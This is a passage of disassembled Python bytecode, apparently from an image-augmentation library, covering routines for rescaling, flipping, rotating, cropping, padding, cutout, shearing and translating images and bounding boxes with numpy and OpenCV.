JUMP_FORWARD to 128 LOAD_GLOBAL TypeError LOAD_CONST 'Scale must be a number or tuple of int, but got ' LOAD_GLOBAL type LOAD_FAST scale CALL_FUNCTION FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL _scale_size LOAD_FAST w LOAD_FAST h BUILD_TUPLE LOAD_FAST scale_factor CALL_FUNCTION STORE_FAST new_size LOAD_FAST return_scale POP_JUMP_IF_FALSE LOAD_FAST new_size LOAD_FAST scale_factor BUILD_TUPLE RETURN_VALUE LOAD_FAST new_size RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST img LOAD_ATTR shape LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST h STORE_FAST w LOAD_GLOBAL rescale_size LOAD_FAST w LOAD_FAST h BUILD_TUPLE LOAD_FAST scale LOAD_CONST True LOAD_CONST ('return_scale',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST new_size STORE_FAST scale_factor LOAD_GLOBAL imresize LOAD_FAST img LOAD_FAST new_size LOAD_FAST interpolation LOAD_FAST backend LOAD_CONST ('interpolation', 'backend') CALL_FUNCTION STORE_FAST rescaled_img LOAD_FAST return_scale POP_JUMP_IF_FALSE LOAD_FAST rescaled_img LOAD_FAST scale_factor BUILD_TUPLE RETURN_VALUE LOAD_FAST rescaled_img RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST direction LOAD_CONST ('horizontal', 'vertical', 'diagonal') COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST direction LOAD_CONST 'horizontal' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR flip LOAD_FAST img LOAD_CONST 1 LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_FAST direction LOAD_CONST 'vertical' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_ATTR flip LOAD_FAST img LOAD_CONST 0 LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL np LOAD_ATTR flip LOAD_FAST img LOAD_CONST (0, 1) LOAD_CONST ('axis',) CALL_FUNCTION RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST direction LOAD_CONST ('horizontal', 'vertical', 'diagonal') COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST direction LOAD_CONST 'horizontal' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL cv2 LOAD_METHOD flip LOAD_FAST img LOAD_CONST 1 LOAD_FAST img CALL_METHOD RETURN_VALUE LOAD_FAST direction LOAD_CONST 'vertical' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL cv2 LOAD_METHOD flip LOAD_FAST img LOAD_CONST 0 LOAD_FAST img CALL_METHOD RETURN_VALUE LOAD_GLOBAL cv2 LOAD_METHOD flip LOAD_FAST img LOAD_CONST -1 LOAD_FAST img CALL_METHOD RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST center LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST auto_bound POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST '`auto_bound` conflicts with `center`' CALL_FUNCTION RAISE_VARARGS LOAD_FAST img LOAD_ATTR shape LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST h STORE_FAST w LOAD_FAST center LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST w LOAD_CONST 1 BINARY_SUBTRACT LOAD_CONST 0.5 BINARY_MULTIPLY LOAD_FAST h LOAD_CONST 1 BINARY_SUBTRACT LOAD_CONST 0.5 BINARY_MULTIPLY BUILD_TUPLE STORE_FAST center LOAD_GLOBAL isinstance LOAD_FAST center LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL cv2 LOAD_METHOD getRotationMatrix2D LOAD_FAST center LOAD_FAST angle UNARY_NEGATIVE LOAD_FAST scale CALL_METHOD STORE_FAST matrix LOAD_FAST auto_bound POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST matrix LOAD_CONST (0, 0) BINARY_SUBSCR CALL_METHOD STORE_FAST cos LOAD_GLOBAL np LOAD_METHOD abs LOAD_FAST matrix LOAD_CONST (0, 1) BINARY_SUBSCR CALL_METHOD STORE_FAST sin LOAD_FAST h LOAD_FAST sin BINARY_MULTIPLY LOAD_FAST w LOAD_FAST cos BINARY_MULTIPLY BINARY_ADD STORE_FAST new_w LOAD_FAST h LOAD_FAST cos BINARY_MULTIPLY LOAD_FAST w LOAD_FAST sin BINARY_MULTIPLY BINARY_ADD STORE_FAST new_h LOAD_FAST matrix LOAD_CONST (0, 2) DUP_TOP BINARY_SUBSCR LOAD_FAST new_w LOAD_FAST w BINARY_SUBTRACT LOAD_CONST 0.5 BINARY_MULTIPLY INPLACE_ADD ROT_THREE STORE_SUBSCR LOAD_FAST matrix LOAD_CONST (1, 2) DUP_TOP BINARY_SUBSCR LOAD_FAST new_h LOAD_FAST h BINARY_SUBTRACT LOAD_CONST 0.5 BINARY_MULTIPLY INPLACE_ADD ROT_THREE STORE_SUBSCR LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD round LOAD_FAST new_w CALL_METHOD CALL_FUNCTION STORE_FAST w LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD round LOAD_FAST new_h CALL_METHOD CALL_FUNCTION STORE_FAST h LOAD_GLOBAL cv2 LOAD_ATTR warpAffine LOAD_FAST img LOAD_FAST matrix LOAD_FAST w LOAD_FAST h BUILD_TUPLE LOAD_GLOBAL cv2_interp_codes LOAD_FAST interpolation BINARY_SUBSCR LOAD_GLOBAL cv2_border_modes LOAD_FAST border_mode BINARY_SUBSCR LOAD_FAST border_value LOAD_CONST ('flags', 'borderMode', 'borderValue') CALL_FUNCTION STORE_FAST rotated LOAD_FAST rotated RETURN_VALUE LOAD_FAST bboxes LOAD_ATTR shape LOAD_CONST -1 BINARY_SUBSCR LOAD_CONST 4 BINARY_MODULO LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL np LOAD_ATTR empty LOAD_FAST bboxes LOAD_ATTR shape LOAD_CONST -1 BINARY_SUBSCR LOAD_FAST bboxes LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST cmin LOAD_FAST img_shape LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBTRACT LOAD_FAST cmin LOAD_CONST 0 LOAD_CONST None LOAD_CONST 2 BUILD_SLICE STORE_SUBSCR LOAD_FAST img_shape LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 1 BINARY_SUBTRACT LOAD_FAST cmin LOAD_CONST 1 LOAD_CONST None LOAD_CONST 2 BUILD_SLICE STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD maximum LOAD_GLOBAL np LOAD_METHOD minimum LOAD_FAST bboxes LOAD_FAST cmin CALL_METHOD LOAD_CONST 0 CALL_METHOD STORE_FAST clipped_bboxes LOAD_FAST clipped_bboxes RETURN_VALUE LOAD_GLOBAL float LOAD_FAST scale CALL_FUNCTION LOAD_CONST 1.0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST bboxes LOAD_METHOD copy CALL_METHOD STORE_FAST scaled_bboxes JUMP_FORWARD to 124 LOAD_FAST bboxes LOAD_CONST (Ellipsis, 2) BINARY_SUBSCR LOAD_FAST bboxes LOAD_CONST (Ellipsis, 0) BINARY_SUBSCR BINARY_SUBTRACT LOAD_CONST 1 BINARY_ADD STORE_FAST w LOAD_FAST bboxes LOAD_CONST (Ellipsis, 3) BINARY_SUBSCR LOAD_FAST bboxes LOAD_CONST (Ellipsis, 1) BINARY_SUBSCR BINARY_SUBTRACT LOAD_CONST 1 BINARY_ADD STORE_FAST h LOAD_FAST w LOAD_FAST scale LOAD_CONST 1 BINARY_SUBTRACT BINARY_MULTIPLY LOAD_CONST 0.5 BINARY_MULTIPLY STORE_FAST dw LOAD_FAST h LOAD_FAST scale LOAD_CONST 1 BINARY_SUBTRACT BINARY_MULTIPLY LOAD_CONST 0.5 BINARY_MULTIPLY STORE_FAST dh LOAD_FAST bboxes LOAD_GLOBAL np LOAD_ATTR stack LOAD_FAST dw UNARY_NEGATIVE LOAD_FAST dh UNARY_NEGATIVE LOAD_FAST dw LOAD_FAST dh BUILD_TUPLE LOAD_CONST -1 LOAD_CONST ('axis',) CALL_FUNCTION BINARY_ADD STORE_FAST scaled_bboxes LOAD_FAST clip_shape LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL bbox_clip LOAD_FAST scaled_bboxes LOAD_FAST clip_shape CALL_FUNCTION RETURN_VALUE LOAD_FAST scaled_bboxes RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST img LOAD_ATTR ndim LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 JUMP_FORWARD to 22 LOAD_FAST img LOAD_ATTR shape LOAD_CONST 2 BINARY_SUBSCR STORE_FAST chn LOAD_DEREF pad_fill LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_DEREF pad_fill LOAD_GLOBAL int LOAD_GLOBAL float BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_CLOSURE pad_fill BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab641f2930, file "f.py", line 460> LOAD_CONST 'imcrop.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST chn CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_DEREF pad_fill LOAD_GLOBAL len LOAD_DEREF pad_fill CALL_FUNCTION LOAD_FAST chn COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST bboxes LOAD_ATTR ndim LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST bboxes LOAD_CONST (None, Ellipsis) BINARY_SUBSCR JUMP_FORWARD to 104 LOAD_FAST bboxes STORE_FAST _bboxes LOAD_GLOBAL bbox_scaling LOAD_FAST _bboxes LOAD_FAST scale CALL_FUNCTION LOAD_METHOD astype LOAD_GLOBAL np LOAD_ATTR int32 CALL_METHOD STORE_FAST scaled_bboxes LOAD_GLOBAL bbox_clip LOAD_FAST scaled_bboxes LOAD_FAST img LOAD_ATTR shape CALL_FUNCTION STORE_FAST clipped_bbox BUILD_LIST STORE_FAST patches EXTENDED_ARG SETUP_LOOP to 480 LOAD_GLOBAL range LOAD_FAST clipped_bbox LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 478 STORE_FAST i LOAD_GLOBAL tuple LOAD_FAST clipped_bbox LOAD_FAST i LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST x1 STORE_FAST y1 STORE_FAST x2 STORE_FAST y2 LOAD_DEREF pad_fill LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST img LOAD_FAST y1 LOAD_FAST y2 LOAD_CONST 1 BINARY_ADD BUILD_SLICE LOAD_FAST x1 LOAD_FAST x2 LOAD_CONST 1 BINARY_ADD BUILD_SLICE LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR STORE_FAST patch JUMP_FORWARD to 466 LOAD_GLOBAL tuple LOAD_FAST scaled_bboxes LOAD_FAST i LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST _x1 STORE_FAST _y1 STORE_FAST _x2 STORE_FAST _y2 LOAD_FAST _y2 LOAD_FAST _y1 BINARY_SUBTRACT LOAD_CONST 1 BINARY_ADD STORE_FAST patch_h LOAD_FAST _x2 LOAD_FAST _x1 BINARY_SUBTRACT LOAD_CONST 1 BINARY_ADD STORE_FAST patch_w LOAD_FAST chn LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST patch_h LOAD_FAST patch_w BUILD_TUPLE STORE_FAST patch_shape JUMP_FORWARD to 314 LOAD_FAST patch_h LOAD_FAST patch_w LOAD_FAST chn BUILD_TUPLE STORE_FAST patch_shape LOAD_GLOBAL np LOAD_ATTR array LOAD_DEREF pad_fill LOAD_FAST img LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL np LOAD_ATTR ones LOAD_FAST patch_shape LOAD_FAST img LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION BINARY_MULTIPLY STORE_FAST patch LOAD_FAST _x1 LOAD_CONST 0 COMPARE_OP >= EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 JUMP_FORWARD to 364 LOAD_FAST _x1 UNARY_NEGATIVE STORE_FAST x_start LOAD_FAST _y1 LOAD_CONST 0 COMPARE_OP >= EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 0 JUMP_FORWARD to 384 LOAD_FAST _y1 UNARY_NEGATIVE STORE_FAST y_start LOAD_FAST x2 LOAD_FAST x1 BINARY_SUBTRACT LOAD_CONST 1 BINARY_ADD STORE_FAST w LOAD_FAST y2 LOAD_FAST y1 BINARY_SUBTRACT LOAD_CONST 1 BINARY_ADD STORE_FAST h LOAD_FAST img LOAD_FAST y1 LOAD_FAST y1 LOAD_FAST h BINARY_ADD BUILD_SLICE LOAD_FAST x1 LOAD_FAST x1 LOAD_FAST w BINARY_ADD BUILD_SLICE LOAD_CONST Ellipsis BUILD_TUPLE BINARY_SUBSCR LOAD_FAST patch LOAD_FAST y_start LOAD_FAST y_start LOAD_FAST h BINARY_ADD BUILD_SLICE LOAD_FAST x_start LOAD_FAST x_start LOAD_FAST w BINARY_ADD BUILD_SLICE LOAD_CONST Ellipsis BUILD_TUPLE STORE_SUBSCR LOAD_FAST patches LOAD_METHOD append LOAD_FAST patch CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST bboxes LOAD_ATTR ndim LOAD_CONST 1 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST patches LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_FAST patches RETURN_VALUE LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 14 STORE_FAST _ LOAD_DEREF pad_fill LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST shape LOAD_CONST None COMPARE_OP is not LOAD_FAST padding LOAD_CONST None COMPARE_OP is not BINARY_XOR POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST shape LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL max LOAD_FAST shape LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST img LOAD_ATTR shape LOAD_CONST 1 BINARY_SUBSCR BINARY_SUBTRACT LOAD_CONST 0 CALL_FUNCTION STORE_FAST width LOAD_GLOBAL max LOAD_FAST shape LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST img LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR BINARY_SUBTRACT LOAD_CONST 0 CALL_FUNCTION STORE_FAST height LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST width LOAD_FAST height BUILD_TUPLE STORE_FAST padding LOAD_GLOBAL isinstance LOAD_FAST pad_val LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST pad_val CALL_FUNCTION LOAD_FAST img LOAD_ATTR shape LOAD_CONST -1 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 152 LOAD_GLOBAL isinstance LOAD_FAST pad_val LOAD_GLOBAL numbers LOAD_ATTR Number CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'pad_val must be a int or a tuple. But received ' LOAD_GLOBAL type LOAD_FAST pad_val CALL_FUNCTION FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST padding LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST padding CALL_FUNCTION LOAD_CONST (2, 4) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST padding CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST padding LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST padding LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST padding LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST padding LOAD_CONST 1 BINARY_SUBSCR BUILD_TUPLE STORE_FAST padding JUMP_FORWARD to 256 LOAD_GLOBAL isinstance LOAD_FAST padding LOAD_GLOBAL numbers LOAD_ATTR Number CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST padding LOAD_FAST padding LOAD_FAST padding LOAD_FAST padding BUILD_TUPLE STORE_FAST padding JUMP_FORWARD to 256 LOAD_GLOBAL ValueError LOAD_CONST 'Padding must be a int or a 2, or 4 element tuple.But received ' LOAD_FAST padding FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST padding_mode LOAD_CONST ('constant', 'edge', 'reflect', 'symmetric') COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL cv2 LOAD_ATTR BORDER_CONSTANT LOAD_GLOBAL cv2 LOAD_ATTR BORDER_REPLICATE LOAD_GLOBAL cv2 LOAD_ATTR BORDER_REFLECT_101 LOAD_GLOBAL cv2 LOAD_ATTR BORDER_REFLECT LOAD_CONST ('constant', 'edge', 'reflect', 'symmetric') BUILD_CONST_KEY_MAP STORE_FAST border_type LOAD_GLOBAL cv2 LOAD_ATTR copyMakeBorder LOAD_FAST img LOAD_FAST padding LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST padding LOAD_CONST 3 BINARY_SUBSCR LOAD_FAST padding LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST padding LOAD_CONST 2 BINARY_SUBSCR LOAD_FAST border_type LOAD_FAST padding_mode BINARY_SUBSCR LOAD_FAST pad_val LOAD_CONST ('value',) CALL_FUNCTION STORE_FAST img LOAD_FAST img RETURN_VALUE LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD ceil LOAD_FAST img LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST divisor BINARY_TRUE_DIVIDE CALL_METHOD CALL_FUNCTION LOAD_FAST divisor BINARY_MULTIPLY STORE_FAST pad_h LOAD_GLOBAL int LOAD_GLOBAL np LOAD_METHOD ceil LOAD_FAST img LOAD_ATTR shape LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST divisor BINARY_TRUE_DIVIDE CALL_METHOD CALL_FUNCTION LOAD_FAST divisor BINARY_MULTIPLY STORE_FAST pad_w LOAD_GLOBAL impad LOAD_FAST img LOAD_FAST pad_h LOAD_FAST pad_w BUILD_TUPLE LOAD_FAST pad_val LOAD_CONST ('shape', 'pad_val') CALL_FUNCTION RETURN_VALUE LOAD_FAST img LOAD_ATTR ndim LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 JUMP_FORWARD to 22 LOAD_FAST img LOAD_ATTR shape LOAD_CONST 2 BINARY_SUBSCR STORE_FAST channels LOAD_GLOBAL isinstance LOAD_FAST shape LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST shape LOAD_FAST shape ROT_TWO STORE_FAST cut_h STORE_FAST cut_w JUMP_FORWARD to 96 LOAD_GLOBAL isinstance LOAD_FAST shape LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST shape CALL_FUNCTION LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'shape must be a int or a tuple with length 2, but got type ' LOAD_GLOBAL type LOAD_FAST shape CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' instead.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST shape UNPACK_SEQUENCE STORE_FAST cut_h STORE_FAST cut_w LOAD_GLOBAL isinstance LOAD_FAST pad_val LOAD_GLOBAL int LOAD_GLOBAL float BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tuple LOAD_FAST pad_val BUILD_LIST LOAD_FAST channels BINARY_MULTIPLY CALL_FUNCTION STORE_FAST pad_val JUMP_FORWARD to 190 LOAD_GLOBAL isinstance LOAD_FAST pad_val LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST pad_val CALL_FUNCTION LOAD_FAST channels COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Expected the num of elements in tuple equals the channelsof input image. Found {} vs {}' LOAD_METHOD format LOAD_GLOBAL len LOAD_FAST pad_val CALL_FUNCTION LOAD_FAST channels CALL_METHOD CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 190 LOAD_GLOBAL TypeError LOAD_CONST 'Invalid type ' LOAD_GLOBAL type LOAD_FAST pad_val CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' for `pad_val`' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST img LOAD_ATTR shape LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST img_h STORE_FAST img_w LOAD_GLOBAL np LOAD_ATTR random LOAD_METHOD uniform LOAD_FAST img_h CALL_METHOD STORE_FAST y0 LOAD_GLOBAL np LOAD_ATTR random LOAD_METHOD uniform LOAD_FAST img_w CALL_METHOD STORE_FAST x0 LOAD_GLOBAL int LOAD_GLOBAL max LOAD_CONST 0 LOAD_FAST y0 LOAD_FAST cut_h LOAD_CONST 2.0 BINARY_TRUE_DIVIDE BINARY_SUBTRACT CALL_FUNCTION CALL_FUNCTION STORE_FAST y1 LOAD_GLOBAL int LOAD_GLOBAL max LOAD_CONST 0 LOAD_FAST x0 LOAD_FAST cut_w LOAD_CONST 2.0 BINARY_TRUE_DIVIDE BINARY_SUBTRACT CALL_FUNCTION CALL_FUNCTION STORE_FAST x1 LOAD_GLOBAL min LOAD_FAST img_h LOAD_FAST y1 LOAD_FAST cut_h BINARY_ADD CALL_FUNCTION STORE_FAST y2 LOAD_GLOBAL min LOAD_FAST img_w LOAD_FAST x1 LOAD_FAST cut_w BINARY_ADD CALL_FUNCTION STORE_FAST x2 LOAD_FAST img LOAD_ATTR ndim LOAD_CONST 2 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST y2 LOAD_FAST y1 BINARY_SUBTRACT LOAD_FAST x2 LOAD_FAST x1 BINARY_SUBTRACT BUILD_TUPLE STORE_FAST patch_shape JUMP_FORWARD to 352 LOAD_FAST y2 LOAD_FAST y1 BINARY_SUBTRACT LOAD_FAST x2 LOAD_FAST x1 BINARY_SUBTRACT LOAD_FAST channels BUILD_TUPLE STORE_FAST patch_shape LOAD_FAST img LOAD_METHOD copy CALL_METHOD STORE_FAST img_cutout LOAD_GLOBAL np LOAD_ATTR array LOAD_FAST pad_val LOAD_FAST img LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL np LOAD_ATTR ones LOAD_FAST patch_shape LOAD_FAST img LOAD_ATTR dtype LOAD_CONST ('dtype',) CALL_FUNCTION BINARY_MULTIPLY STORE_FAST patch LOAD_FAST patch LOAD_FAST img_cutout LOAD_FAST y1 LOAD_FAST y2 BUILD_SLICE LOAD_FAST x1 LOAD_FAST x2 BUILD_SLICE LOAD_CONST Ellipsis BUILD_TUPLE STORE_SUBSCR LOAD_FAST img_cutout RETURN_VALUE LOAD_FAST direction LOAD_CONST 'horizontal' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD float32 LOAD_CONST 1 LOAD_FAST magnitude LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST shear_matrix JUMP_FORWARD to 70 LOAD_FAST direction LOAD_CONST 'vertical' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD float32 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_FAST magnitude LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST shear_matrix LOAD_FAST shear_matrix RETURN_VALUE LOAD_FAST direction LOAD_CONST ('horizontal', 'vertical') COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Invalid direction: ' LOAD_FAST direction FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST img LOAD_ATTR shape LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST height STORE_FAST width LOAD_FAST img LOAD_ATTR ndim LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST channels JUMP_FORWARD to 76 LOAD_FAST img LOAD_ATTR ndim LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST img LOAD_ATTR shape LOAD_CONST -1 BINARY_SUBSCR STORE_FAST channels LOAD_GLOBAL isinstance LOAD_FAST border_value LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tuple LOAD_FAST border_value BUILD_LIST LOAD_FAST channels BINARY_MULTIPLY CALL_FUNCTION STORE_FAST border_value JUMP_FORWARD to 166 LOAD_GLOBAL isinstance LOAD_FAST border_value LOAD_GLOBAL tuple CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST border_value CALL_FUNCTION LOAD_FAST channels COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Expected the num of elements in tuple equals the channelsof input image. Found {} vs {}' LOAD_METHOD format LOAD_GLOBAL len LOAD_FAST border_value CALL_FUNCTION LOAD_FAST channels CALL_METHOD CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 166 LOAD_GLOBAL ValueError LOAD_CONST 'Invalid type ' LOAD_GLOBAL type LOAD_FAST border_value CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' for `border_value`' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL _get_shear_matrix LOAD_FAST magnitude LOAD_FAST direction CALL_FUNCTION STORE_FAST shear_matrix LOAD_GLOBAL cv2 LOAD_ATTR warpAffine LOAD_FAST img LOAD_FAST shear_matrix LOAD_FAST width LOAD_FAST height BUILD_TUPLE LOAD_FAST border_value LOAD_CONST None LOAD_CONST 3 BUILD_SLICE BINARY_SUBSCR LOAD_GLOBAL cv2_interp_codes LOAD_FAST interpolation BINARY_SUBSCR LOAD_CONST ('borderValue', 'flags') CALL_FUNCTION STORE_FAST sheared LOAD_FAST sheared RETURN_VALUE LOAD_FAST direction LOAD_CONST 'horizontal' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD float32 LOAD_CONST 1 LOAD_CONST 0 LOAD_FAST offset BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST translate_matrix JUMP_FORWARD to 70 LOAD_FAST direction LOAD_CONST 'vertical' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL np LOAD_METHOD float32 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST LOAD_CONST 0 LOAD_CONST 1 LOAD_FAST offset BUILD_LIST BUILD_LIST CALL_METHOD STORE_FAST translate_matrix LOAD_FAST translate_matrix RETURN_VALUE LOAD_FAST direction LOAD_CONST ('horizontal', 'vertical') COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'Invalid direction: ' LOAD_FAST direction FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST img LOAD_ATTR shape LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR UNPACK_SEQUENCE STORE_FAST height STORE_FAST width LOAD_FAST img LOAD_ATTR ndim LOAD_CONST 2 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 STORE_FAST channels JUMP_FORWARD to 76 LOAD_FAST img LOAD_ATTR ndim LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST img LOAD_ATTR shape LOAD_CONST -1 BINARY_SUBSCR STORE_FAST channels LOAD_GLOBAL isinstance LOAD_FAST border_value LOAD_GLOBAL int 